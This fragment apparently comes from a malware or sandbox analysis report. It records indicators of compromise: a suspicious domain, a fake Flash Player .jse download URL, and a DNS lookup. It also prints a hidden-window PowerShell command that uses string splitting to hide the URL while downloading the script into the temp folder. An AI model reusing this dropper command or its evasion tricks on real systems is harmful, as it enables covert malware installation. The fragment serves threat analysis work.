Technical Information
- http+s://lah3smyzeo.com/9739338069282/1515021274627036/flashplayer.jse as $d
- DNS ASK la###myzeo.com
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1592898830621.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://lah3smyzeo.com/9739338069282/1515021274627036/FlashPlayer.jse',$d);...' (with hidden window)